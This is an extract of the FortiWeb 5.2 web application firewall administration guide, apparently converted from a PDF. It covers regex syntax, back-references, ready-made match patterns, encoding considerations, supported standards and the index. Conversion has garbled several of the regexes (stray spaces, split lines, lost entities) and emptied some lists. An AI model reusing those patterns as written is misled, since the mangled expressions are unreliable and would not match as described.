For example, [@-B] matches any UTF-8 code points from 40 to 42 inclusive:
@AB
Text: /url?parameter=valueB
Regular expression: [A-C]
Matches: B
Would also match “A” or “C”. It would not match “b”.
708 FortiWeb 5.2 Patch 2 Administration Guide
Table 64: Popular FortiWeb regular expression syntax
Notation
{}
Function Sample Matches
Quantifies the number of times the previous character or capture group may be repeated continuously.
Text: 1234567890
Regular expression: \d{3}
To define a varying number repetitions, delimit it with a comma.
Matches: 123
Text: www.example.com
Regular expression: w{1,4}
Matches: www
If the string were a typo such as
“ww ” or “wwww”, it would also match that.
See also
•
•
•
•
•
Defining custom data leak & attack signatures
•
•
Configuring custom suspicious request URLs
What are back-references?
A back-reference is a regular expression token such as $0 or $1 that refers to whatever part of the text was matched by the capture group in that position within the regular expression.
Back-references are used whenever you want the output/interpretation to resemble the original match: they insert a substring of the original matching text. Like other regular expression features, back-references help to ensure that you do not have to maintain a large, cumbersome
Fortinet 709 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet list of all possible URL or HTML permutations and their variations or translations when using features such as custom attack signatures, rewriting, or auto-learning.
URL in client’s request: /exchange/jane.doe/memo.EML
Capture group 2
Capture group 1
Capture group 0
Back-reference to text matched by capture group 2
Back-reference to text matched by capture group 1
Back-reference to text matched by capture group 0
URL as interpreted by auto-learning: /exchange/memo.EML?username1=jane.doe
To invoke a substring, use $n (0 <= n <= 9), where n is the order of appearance of capture group in the regular expression, from left to right, from outside to inside, then from top to bottom.
For example, regular expressions in a condition table in this order:
(a)(b)(c(d))(e) would result in back-reference variables (e.g. $0) with the following values:
•
$0
— a
•
$1
— b
•
$2
— cd
•
$3
— d
•
$4
— e
Numbering of back-references to capture groups starts from 0: to refer to the first substring, use $0 or /0, not $1 or /1.
Should you use $0 or /0 to refer back to a substring? Something else? That depends.
•
/0
— An earlier part in the current string, such as when you have a URL that repeats:
(/(^/)*)/0/0/0/0
•
$0
— A part of the previous match string, such as when using part of the originally matched domain name to rewrite the new domain name: $0\.example\.co\.jp where $0 contains www
, ftp, or whichever prefix matched the first capture group in the match test regular expression, (^.)*\.example\.com
•
$+
— The highest-numbered capture group of the previous match string: if the capture groups were numbered 0-9, this would be equivalent to /9.
•
$&
— The entire match string.
710 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
•
Cookbook regular expressions
Some elements occur often in FortiWeb regular expressions, such as expressions to match domain names, URLs, parameters, and HTML tags. You can use these as building blocks for your own regular expressions.
For more expressions to match items such as SQL queries and URIs, see your FortiWeb’s list of predefined data types.
Fortinet
Table 65:
To match...
Line endings
(platform-independent)
You can use...
(\r\n)|\n|\r
Any alphanumeric character
(ASCII only; e.g. does not match é or É)
[a-zA-Z0-9]
(?i)\bwww\.example\.com\b
Specific domain name
(e.g. www.example.com; case insensitive)
Any domain name
(valid non-internationalized TLDs only; does not match domain names surrounded by letters or numbers)
Any domain name
(valid internationalized TLDs in
UTF-8 only; does not match
ASCII-encoded DNS forms such as xn--fiqs8s)
Any sub-domain name
Specific IPv4 address
(?i)\b.*\.(a(c|d|e(ro)?|f|g|i|m|n|o|q|r|s(ia)?|t|y|w|x|z)|b(a|b|d|e|f| g|h|i(z)?|j|m|n|o|r|s|t|v|w|y|z)|c(a(t)?|c|d|f|g|h|i|k|l|m|n|o((m)?(o p)?)|r|s|u|v|x|y|z)|d(e|j|k|m|o|z)|e(c|du|e|g|h|r|s|t|u)|f(i|j|k|m|o|r)| g(a|b|d|e|f|g|h|i|l|m|n|ov|p|q|r|s|t|u|w|y)|h(k|m|n|r|t|u)|i(d|e|l|m|n
(fo)?(t)?|o|q|r|s|t)|j(e|m|o(bs)?|p)|k(e|g|h|i|m|n|p|r|w|y|z)|l(a|b|c|i
|k|r|s|t|u|vy)|m(a|c|d|e|g|h|il|k|l|m|n|o(bi)?|p|q|r|s|t|u(seum)?|v| w|x|y|z)|n(a(me)?|c|e(t)?|f|g|i|l|o|p|r|u|z)|o(m|rg)|p(a|e|f|g|h|k|l| m|n|r(o)?|s|t|w|y)|qa|r(e|o|s|u|w)|s(a|b|c|d|e|g|h|i|j|k|l|m|n|o|r|s|t
|u|v|y|z)|t(c|d|el|f|g|h|j|k|l|m|n|o|p|r(avel)?|t|v|w|z)|u(a|g|k|s|y|z)| v(a|c|e|g|i|n|u)|w(f|s)|xxx|y(e|t|u)|z(a|m|w))\b
(?i)\b.*\.(tél\b|
中国 | 中國 | 日本 | 新加坡 |לארשי| 台灣
|رئاز جلا|
বাংলা|ر صم|გე| 香港
|
भारत|ب?ترا| ారత్|ભારત|ਭਾਰਤ|இந்தியா|ভারত|ندرلاا|نار يا|қ аз|نامع|برغملا|اي سيلم|рф|ا پ ? نات س|срб|رطق|نيط سلف|
சிங்
கப்பூர் |ةيدوع سلا| 한국
|ايرو س|ලංකා|
இலங்ைக|ไทย|سنو ت|укр|تاراما| 台湾 |ن ميلا)\b
(?i)\b(.*)\.example\.com\b
\b10\.1\.1\.1\b
711 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Table 65:
To match...
Any IPv4 address
You can use...
\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[
01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-
5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b
Specific HTML tag
(well-formed HTML only, e.g. <br> or <img src="1.gif" />; does
not match the element’s contents between a tag pair; does not match the closing tag)
(?i)<\s*TAG\s*[^>]*>
(?i)<\s*(TAG)\s*[^>]*>[^<]*</\1>
Specific HTML tag pair and contained text/tags, if any
(well-formed HTML only; expression does not validate by
DTD/Schema)
(?i)<\s*([A-Z][A-Z0-9]*)\b[^>]*>(.*?)</\1>
Any HTML tag pair and contained text/tags, if any
(well-formed HTML only; expression does not validate by
DTD/Schema)
Any HTML comment
Any HTML entity
(well-formed entities only; expression does not validate by
DTD/Schema)
JavaScript UI events
(onClick(), onMouseOver(), etc.)
(?:<|<)!--[\s\S]*?--[ \t\n\r]*(?:>|>)
&(?i)(#((x([\dA-F]){1,5})|(104857[0-5]|10485[0-6]\d|1048[0-4]
\d\d|104[0-7]\d{3}|10[0-3]\d{4}|0?\d{1,6}))|([A-Za-z\d.]{2,31}
));
(?i):on(blur|c(hange|lick)|dblclick|focus|keypress|(key|mous e)(down|up)|(un)?load|mouse(move|o(ut|ver))|reset|s(elect|u bmit))
All parameters that follow a question mark or hash mark in the URL
(e.g. #pageView or
?param1=valueA¶m2=val ueB
...; back-reference to this match does not include the question/hash mark itself)
[#\?](.*)
See also
•
•
712 FortiWeb 5.2 Patch 2 Administration Guide
Language support
, input rules, and attack signatures can detect
attacks and data leaks even when multiple languages are used as an evasion technique.
When configuring FortiWeb, regardless of the display language (see
features, including queries to external servers, support it.
If you want to configure FortiWeb using another language/encoding, or support clients using another language or multiple languages, sometimes characters such as ñ, é, symbols, and ideographs such as
新 are valid input. Support varies by the nature of the item being configured.
For example, by definition, host names cannot contain special characters. DNS standards predate many standards for internationalization. Because of this, the web UI and CLI will reject input if it contains non-ASCII encoded characters when configuring the host name. This means that languages other than English are not supported unless encoded as an RFC 3490 international domain name (IDN) prefixed with xn--. However, other configuration items, such as names and comments, often support the language of your choice.
To use your preferred languages in those cases, use an encoding that supports it.
For best results:
• for regular expressions that must match HTTP requests, use the same encoding as your
HTTP clients
• for other features, use UTF-8 encoding, or use only the characters whose encoded values are the same in UTF-8 (for example, US-ASCII characters are usually encoded using the same byte-wise values in ISO 8859-1, Windows code page 1252, Shift-JIS and others; however, ideographs such as
新 may be garbled or interpreted as the wrong character when viewed as another encoding)
HTTP clients may send requests in encodings that are not UTF-8. Encodings vary by the client’s operating system or input language.
If you input the configuration in English, the client’s request may match regardless of encoding: due to US-ASCII predating most other encodings, byte-wise, the values for English characters tend to have identical numerical values in many encoding types. For example, English words may be readable regardless of interpreting a web page as either ISO 8859-1 or as GB2312.
For other languages (especially non-Latin alphabets such as Cyrillic and Thai), match the client’s encoding exactly.
For example, with Shift-JIS, backslashes ( \ ) could be inadvertently interpreted as yen symbols
( ¥ ) and vice versa. A regular expression intended to match HTTP requests containing money values with a yen symbol therefore may not work if the symbol is entered using the wrong encoding. Likewise, simplified Chinese characters might only be understandable if the page is interpreted as GB2312. Test your expressions. If you enter a regular expression using another encoding, or if an HTTP client sends a request in an encoding other than UTF-8, remember that matches may not be what you initially expect.
Regular expressions are especially impacted. Matching engines on FortiWeb use the UTF-8 character values. If you need to match multiple possible languages from clients, especially for attack signatures, make sure you construct a regular expression that matches all alternative values.
For example, the Latin letter C is not encoded using the same byte-wise value as the similar-looking Cyrillic letter С. A human being can read a Spanish phrase written with that
Cyrillic character, because they are visually similar. But a regular expressions will not match unless written to match both numerical values: one for the Latin character, and one for the
Fortinet 713 FortiWeb 5.2 Patch 2 Administration Guide
Cyrillic look-alike (sometimes called a “confusable”).To configure your FortiWeb appliance using other encodings, you may need to switch language settings on your management computer, including for your web browser or Telnet/SSH client. For instructions on how to configure your management computer’s operating system language, locale, or input method, see its documentation.
If you choose to configure parts of the FortiWeb appliance using non-ASCII characters, you should also use the same encoding throughout the configuration if possible in order to avoid needing to switch the language settings of your web browser or Telnet/SSH client while you work.
Similarly, your web browser or CLI client should usually interpret display output as encoded using UTF-8. If it does not, your configured items may not display correctly in the web UI or CLI.
Exceptions include items such as regular expressions that you may have configured using other encodings in order to match the encoding of HTTP requests that the FortiWeb appliance receives.
See also
•
•
Fortinet 714 FortiWeb 5.2 Patch 2 Administration Guide
Appendix C: Supported RFCs,
W3C, & IEEE standards
This release of FortiWeb supports the following IETF RFCs, W3C standards, and
IEEE standards.
RFCs
• RFC 792
ICMP
• RFC 1213
Management Information Base for Network Management of TCP/IP-based internets: MIB-II
•
RFC 2548
Microsoft Vendor-specific RADIUS Attributes — see reference 1
•
RFC 2616
Hypertext Transfer Protocol -- HTTP/1.1
— see
•
RFC 2617
HTTP Authentication: Basic and Digest Access Authentication — see
• RFC 2665
Definitions of Managed Objects for the Ethernet-like Interface Types — see
• RFC 2965
HTTP State Management Mechanism (HTTP sessions) — see reference 1 , reference 2
• RFC 4918
HTTP Extensions for Distributed Authoring and Versioning (WebDAV) — see reference 1 , reference 2
• RFC 5280
Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL)
Profile — see reference 1 ,
• RFC 6176
Prohibiting Secure Sockets Layer (SSL) Version 2.0
— By default, for reverse proxy mode, this is supported. To enable violation of the RFC, see weak_enc and ssl-md5 settings in the config system global command in the
FortiWeb CLI Reference
.
W3C standards
Extensible markup language (XML) 1.0 (Third Edition)
• XML Current Status: http://www.w3.org/standards/techs/xml#w3c_all
• W3C Recommendation 04 February 2004: http://www.w3.org/TR/2004/REC-xml-20040204 see reference 1
Fortinet 715 FortiWeb 5.2 Patch 2 Administration Guide
IEEE standards
• Spanning tree protocol IEEE 802.1d
see reference 1
•
Virtual LANs
IEEE 802.1q
see reference 1
Fortinet 716 FortiWeb 5.2 Patch 2 Administration Guide
Index
Symbols
Numerics
301 Moved Permanently 382, 537
302 Moved Temporarily 382, 453, 537, 539
401 Authorization Required 230, 231, 235, 236, 540
401 Unauthorized 160, 200, 539
403 Forbidden 200, 379, 382, 408, 422, 440, 448, 456,
500 Internal Server Error 160, 200, 522
A
accept 200, 345, 361, 364, 368, 371, 407, 421, 430,
access control
access profile 52, 55, 225, 226, 643
action
when traffic violates policy 407, 488
Active Directory 221, 238, 241, 245, 253, 323, 325
Fortinet 717
address resolution protocol (ARP) 114, 133, 699
extra packets 114 gratuitous 114
interface settings 123, 127 protocols 123, 125, 127
restricting 56, 123, 125, 127, 221, 224
administrator
"admin" account 55, 80, 82, 83, 98, 632 account 88, 92, 93, 94, 155, 632
Adobe
Flash 28, 50, 191, 405, 497, 506, 646
advanced persistent threat (APT) 20, 349, 636
AES 80, 82, 216, 218, 296, 297, 553, 602
aggregation
alert
alert email 200, 340, 345, 361, 364, 368, 371, 407,
408, 421, 422, 430, 431, 440, 448, 456, 466, 478,
for end-user HTTP authentication 252, 257
severity 341, 346, 351, 355, 362, 365, 369, 371,
376, 409, 422, 431, 436, 441, 449, 457, 460,
algorithm
FortiWeb 5.2 Patch 2 Administration Guide
anonymous
anti-defacement 526, 636, 699, 700
Apple
application layer 138, 139, 295, 356, 372, 488, 676
asymmetric
attack
block 196, 200, 340, 345, 361, 364, 368, 371, 407,
412, 421, 430, 440, 448, 456, 466, 478
brute force login 28, 81, 84, 224, 311
count in auto-learning report 200
directory
log 200, 341, 345, 346, 351, 355, 361, 362, 364,
365, 368, 369, 371, 376, 407, 409, 421, 422,
430, 431, 436, 440, 441, 448, 449, 456, 457,
460, 466, 467, 478, 521, 566, 577
man-in-the-middle (MITM) 295, 310, 313
redirect 200, 407, 422, 440, 448, 456
slow
slowloris 34 socket exhaustion 34
attribute
authentication 80, 234, 243, 248
Fortinet 718 FortiWeb 5.2 Patch 2 Administration Guide
B
back-reference 164, 204, 381, 382, 395, 705, 709
and performance 649 backtracking 649
best practices 13, 137, 189, 555
bit
strength 80, 82, 216, 218, 296, 297, 313, 602
period 200, 345, 361, 364, 368, 371, 407, 408, 421,
422, 430, 431, 440, 448, 456, 466, 478, 639
boot
bridge 43, 69, 73, 120, 135, 487, 516, 550
browser 78, 80, 124, 220, 274, 520
brute force
login
buffer
compression inspection 148 decompression 148
overflow 30, 444, 464, 467, 470, 538
using anonymous Diffie-Hellman 686
C
cache
authentication query results 252
capture group 164, 381, 395, 705, 709
cascading style sheet (CSS) 554
Fortinet 719 FortiWeb 5.2 Patch 2 Administration Guide
authority (CA) 81, 297, 302, 303, 306, 308, 313,
personal 233, 273, 310, 334, 520 revocation list (CRL) 334, 336, 337
signing chain 274, 306, 321, 520
generating in Microsoft Windows Server 316
chain of trust 274, 306, 312, 321, 333, 520
character
set 427 special 427 charset 427
checksum
chip
Chrome 210, 296, 310, 553, 686
cipher block chaining (CBC) 296, 297, 429, 553
Cisco discovery protocol (CDP) 126
cluster 40, 42, 70, 92, 105, 108, 268
Fortinet 720
command line interface (CLI) 15, 56, 78, 101, 103,
221, 556, 564, 700 commands 564
comma-separated value (CSV) 585, 602
common
gateway interface (CGI) 36, 455
connecting
connection
content
Content-Encoding: 24, 481, 484
Content-Length: 23, 33, 404, 467, 475
Content-Type: 23, 384, 475, 479, 482, 484, 485
cookie 22, 23, 160, 212, 232, 496, 497
session 35, 37, 232, 356, 434, 488
FortiWeb 5.2 Patch 2 Administration Guide
CPU
credit card
cross-site request forgery (CSRF) 29, 409, 433
cross-site scripting (XSS) 13, 29, 31, 150, 405, 409,
custom
D
data
leak prevention (DLP) 420, 484
and regular expressions 175 custom 175
data leak protection (DLP) 552
daylight saving time (DST) 100
Fortinet 721 default
administrator account 55, 80, 82, 83, 88, 92, 93,
password 15, 80, 81, 82, 83, 84, 98, 228, 689
delete
denial of service (DoS) 13, 32, 69, 350, 356, 469, 474,
deny 196, 200, 340, 345, 361, 364, 368, 371, 407, 412,
421, 430, 440, 448, 456, 466, 478
destination
destination unreachable 137, 681
disk
distinguished name (DN) 238, 240, 241, 301
document object model (DOM) 453, 498
FortiWeb 5.2 Patch 2 Administration Guide
document type definition (DTD) 498
domain
administrative (ADOM) 45, 52, 702
name system (DNS)
download
dynamic
E
ECHO_REQUEST 124, 128, 265, 267, 676, 677
ECHO_RESPONSE 124, 128, 267, 586, 675, 677
element
Fortinet 722
international domain name (IDN) 713
ERROR_SSL_VERSION_OR_CIPHER_MISMATCH
Ethernet 80, 83, 179, 618, 667
event
exception
Exchange Server 13, 165, 460, 463
F
factory default settings 80, 82, 221, 695
failover 39, 40, 41, 42, 92, 106, 107, 108, 111, 133
failure
false
positive 186, 188, 189, 190, 211, 213, 359, 409,
410, 411, 412, 416, 419, 421, 470, 471, 578,
fault tolerance 105, 106, 108, 550
FortiWeb 5.2 Patch 2 Administration Guide
file
type
restriction 475, 476 upload 476 limit 476
filter
Firefox 80, 310, 428, 553, 686
Flash 28, 191, 405, 497, 506, 646
flood
TCP SYN (half-formed connection) 372
forensic analysis 348, 349, 393, 428, 578, 593
Fortinet 723 format
FortiGuard
IP Reputation Intelligence Service (IRIS) 143, 348
Fortinet
Distribution Network (FDN) 143
Technical Support 107, 143, 618
FortiWeb
FortiWeb-VM 64, 65, 80, 105, 119, 132, 571
fully qualified domain name (FQDN) 304
G
gateway 103, 119, 137, 138 route 137
generate
FortiWeb 5.2 Patch 2 Administration Guide
Chrome 210, 231, 235, 296, 310, 333, 553, 686
graphical user interface (GUI) 50, 78
group
H
handshake 42, 80, 233, 296, 310, 313, 336, 553
hardening security 56, 79, 98, 221, 223, 226, 237, 311,
312, 313, 317, 320, 323, 325, 333, 445, 464, 639,
hardware
failure 105, 266, 572, 573, 574
header
HTTP 230, 235, 260, 275, 412, 444
health check
heartbeat
hidden fields
high availability (HA) 70, 75, 91, 105, 572
heartbeat interface 111 interface monitoring 111
history
session 39, 361, 364, 368, 438, 443, 456
hit 34, 501, 508, 567, 631, 632
name 42, 81, 549, 556, 558, 559, 564, 618
Host: 249, 255, 275, 339, 379, 381, 383, 390, 444,
Fortinet 724 FortiWeb 5.2 Patch 2 Administration Guide
HTTP 66, 124, 125, 128, 265, 267
periodically blocked 345, 361, 364, 368, 371, 408,
422, 431, 440, 448, 456, 466, 478, 639
POST 33, 194, 416, 464, 475, 540
session 34, 41, 160, 193, 438, 496, 497, 523, 577,
HTTPS 66, 80, 123, 125, 127, 158, 294, 297, 301, 304,
hypertext markup language (HTML) 178
I
IBM
Lotus Domino 13, 182, 221, 238
ICMP 124, 128, 267, 618, 675, 677, 699, 700
ECHO_REQUEST 124, 128, 265, 267, 585, 676
ECHO_RESPONSE 675 type 0 124, 128, 267, 675
type 8 124, 128, 267, 676, 681
ID
IEEE
Fortinet 725 ignore
import
information disclosure 31, 405, 420, 567, 654
initialization vector (IV) 553
rule 444 tag 24, 231, 444, 453
interface
administrative access 123, 127
international
international domain name (IDN) 713
Internet service provider (ISP) 139
interval
IP
address 81, 82, 123, 125, 131, 141
version
J
FortiWeb 5.2 Patch 2 Administration Guide
Java server pages (JSP) 165, 194
adjusting auto-learning for 163
JavaScript 36, 426, 453, 482, 554, 564, 712
blocking automated tools 360, 367
K
key
private 217, 218, 296, 298, 306, 310, 311, 312,
L
latency 73, 74, 75, 108, 115, 252, 264, 677, 681
Layer
2 73, 108, 111, 126, 129, 130, 132, 138, 139, 656
4 129, 138, 139, 275, 356, 488
LDAP
LED
limit
load
balancer 281, 350, 361, 364, 407, 588, 642
CPU 566, 617, 648, 687 level 687
load balancing
local
Location: 24, 25, 383, 390, 453
Fortinet 726 FortiWeb 5.2 Patch 2 Administration Guide
attack 341, 346, 351, 355, 362, 365, 369, 371, 376,
409, 422, 431, 436, 441, 449, 457, 460, 467,
attacks 200, 345, 361, 364, 368, 371, 407, 421,
430, 440, 448, 456, 466, 478, 521
severity 341, 346, 351, 355, 362, 365, 369, 371,
376, 409, 422, 431, 436, 441, 449, 457, 460,
login 36, 81, 235, 237, 239, 244, 246, 624, 688
loop
low orbit ion cannon (LOIC) 33
M
management information block (MIB) 612
manager
man-in-the-middle (MITM) 28, 295, 297, 313, 553
mask
maximum
media access control (MAC) address 122, 132
virtual 41, 106, 110, 114, 122
memory
message authentication checksum (MAC) 313
messages
log 252, 257, 336, 343, 348, 378, 409, 438, 443,
Fortinet 727 FortiWeb 5.2 Patch 2 Administration Guide
Microsoft
Active Directory 221, 238, 241, 245, 253, 323, 325
Internet Explorer 50, 80, 233, 317, 325, 335
Outlook Web App (OWA) 13, 161, 163, 165, 166
Outlook Web Application (OWA) 254
mirror
mode
transparent inspection 73, 487
true transparent proxy 73, 487, 550
monitor
Firefox 50, 80, 310, 428, 553, 686
multicast 40, 76, 108, 111, 129, 700, 701
N
name
National Insurance Number (NINO) 178
nested
network
address translation (NAT) 66, 120, 281, 285, 354,
source 66, 74, 281, 284, 350, 553
interface 80, 82, 119, 125, 131, 138
topology 14, 66, 70, 73, 75, 105
Novell
O
offline protection mode 75, 487, 559
offline protection profile 502
online certificate status protocol (OCSP) 334, 335,
Fortinet 728 FortiWeb 5.2 Patch 2 Administration Guide
open system interconnections (OSI) model 356
operation mode 66, 68, 70, 102, 558, 559
order of execution 21, 196, 408
Outlook Web App (OWA) 13, 161, 166, 254
P
page
partition 88, 93, 96, 617, 692, 696
password 80, 81, 82, 83, 84, 98
authentication
backup 312, 317, 320, 323, 642
strength 59, 98, 178, 223, 237, 311, 643
perfect forward secrecy (PFS) 686
performance 20, 21, 42, 180, 188, 189, 212, 349, 350,
Fortinet 729 FortiWeb 5.2 Patch 2 Administration Guide
auto-learning 160, 189, 190, 208
during a DoS attack 361, 364, 368, 371, 574
server information disclosure erasing 413, 425
vulnerability scan 533, 534, 640
period block 200, 345, 361, 364, 368, 371, 407, 408,
421, 422, 430, 431, 440, 448, 456, 466, 478, 639
permission
persistence
persistent
session
personally identifiable information 419
physical
ping 123, 124, 125, 127, 128, 137, 139, 265, 663, 675,
policy
trigger 341, 346, 351, 355, 362, 365, 369, 371, 376,
409, 422, 431, 436, 441, 449, 457, 461, 467,
number 40, 143, 158, 159, 518, 616, 666, 699
Fortinet 730 FortiWeb 5.2 Patch 2 Administration Guide
port3 119, 550 port4 119, 550 port5 550 port6 550 port7 550 port8 550
POST 33, 194, 453, 464, 475, 498, 506, 540
power
predefined
primary
priority
private
key 217, 218, 296, 310, 311, 312, 317, 320, 323,
process
processing
profile
public key infrastructure (PKI) 233, 310, 520
Q
query
authentication 221, 252 cache 252
SNMP 124, 128, 612, 613, 616, 618, 700
timeout, authentication 238, 243
R
RAM usage
random access memory (RAM) 581
rapid spanning tree protocol (RTSP) 132
real browser enforcement 360, 367
reboot 85, 86, 92, 220, 550, 571, 575, 662
attack 200, 407, 422, 440, 448, 456
registering
with Fortinet Technical Support 65
Fortinet 731 FortiWeb 5.2 Patch 2 Administration Guide
regular expression 164, 175, 255, 421, 433, 447
page access 401, 403, 418, 437
remote file inclusion (RFI) 31, 405, 410
report
scope, logs 622 time span, logs 622
request
CLI Console widget preferences 565
connection 196, 200, 340, 345, 361, 364, 368, 371,
407, 412, 421, 430, 440, 448, 456, 466, 478
restore
retransmission time-out (RTO) 33
reverse proxy mode 71, 126, 559
rewrite
RFC
robot
role-based access control (RBAC) 221, 226, 230
Fortinet 732 FortiWeb 5.2 Patch 2 Administration Guide
route
RTF
S
scan
search
secondary
Secure Shell (SSH) 56, 78, 123, 124, 125, 127, 128,
security
serial
serial communications (COM) port 82
serial number 44, 556, 558, 559, 618
certificate 298, 301, 308, 337
server
down 569 farm 159, 268, 488, 569
health check 263, 265, 268, 647
service level agreement (SLA) 105
Fortinet 733 FortiWeb 5.2 Patch 2 Administration Guide
session 34, 160, 193, 523, 556
continuity in server farms 281
cookie 35, 37, 232, 356, 374, 488
data 200, 340, 345, 361, 364, 368, 371, 408, 422,
431, 440, 448, 453, 456, 466, 478
history 39, 40, 361, 364, 368, 438, 443, 456
timeout 38, 232, 356, 496, 505, 520
severity
level 341, 346, 351, 355, 362, 365, 369, 371, 376,
409, 422, 431, 436, 441, 449, 457, 460, 467,
SFTP
shared Internet connection 552
Fortinet 734
simple certificate enrollment protocol (SCEP) 303,
simple mail transport protocol (SMTP) 699
simple network management protocol (SNMP) 124,
agent 612, 613 contact information 613
Social Insurance Number (SIN) 177
Social Security Number (SSN) 178, 179
source
IP address
client’s original 66, 281, 588
NAT (SNAT) 66, 74, 281, 284, 350, 588
network address translation (SNAT) 284
spanning tree protocol (STP) 132
split
SQL
injection 32, 150, 405, 410, 497, 506, 538, 567
SSL 70, 99, 239, 272, 297, 300
ssl_error_no_cypher_overlap 80, 686
FortiWeb 5.2 Patch 2 Administration Guide
state
static
status
storage
area network (SAN) 571 repository 571
strength
strict transport security 272, 310, 519
subject information, certificate 304
synchronization
configuration 41, 57, 115, 116
non-HA cluster 115, 116, 700, 701
syntax
Fortinet 735 system
T
tampering
RST 74, 75, 196, 200, 340, 345, 361, 364, 368,
371, 407, 412, 421, 430, 440, 448, 456, 466,
Telnet 56, 78, 124, 125, 128, 564, 644, 700
theft
threshold
timeout
persistent 520 session 36, 38, 232, 496, 505, 520
FortiWeb 5.2 Patch 2 Administration Guide
traceroute 124, 128, 137, 139, 585, 663, 675, 676,
tracert 137, 139, 676, 681, 683
traffic
volume 321, 501, 508, 567, 575, 628
transparent
transport
trap 339, 435, 612, 613, 616, 618, 699
trigger
policy 341, 346, 351, 355, 362, 365, 369, 371, 376,
409, 422, 431, 436, 441, 449, 457, 461, 467,
load balancing with server-side sessions 515
true transparent proxy mode 487, 550, 559
trust
trusted
type 0, ICMP 124, 128, 267, 675
type 8, ICMP 124, 128, 267, 676, 681
type of service (tos) bits 666
U
UDP 40, 124, 128, 618, 681, 699, 701
uniform resource identifier (URI) 179
up
upgrade
Fortinet 736 FortiWeb 5.2 Patch 2 Administration Guide
uptime 44, 92, 105, 109, 212, 556, 560, 569
usage
US-ASCII 549, 667, 668, 713, 714
user
V
validator, regular expression 211
Fortinet 737 virtual
FortiWeb appliance (FortiWeb-VM) 132
LAN (VLAN) 73, 119, 120, 121, 125
MAC address 41, 106, 110, 114, 122
network interface (vNIC) 119, 132, 134
server 157, 262, 288, 487, 516
vulnerability scan
W
W3C
XML
web application firewall (WAF) 13
web browser 50, 78, 80, 124, 220
web protection profile generating from auto-learning data generate
web user interface (web UI) 80
FortiWeb 5.2 Patch 2 Administration Guide
WWW-Authenticate: 230, 231, 235, 253
X
X509 Error 52 - Get client certificate failed 336
X509 Error 53 - Protocol error 336
X-Forwarded-For: 24, 67, 70, 71, 281, 284, 287, 350,
AJAX 498, 506 element 498, 506, 712
X-Real-IP: 67, 281, 284, 287, 496, 642
XSS 31, 150, 405, 409, 497, 506, 538
Y
Z
Fortinet 738 FortiWeb 5.2 Patch 2 Administration Guide
Descarcă
Link public actualizat
Linkul public către chat-ul tău a fost actualizat. You may view and manage your chat links after registration here.
Link public document
Publicitate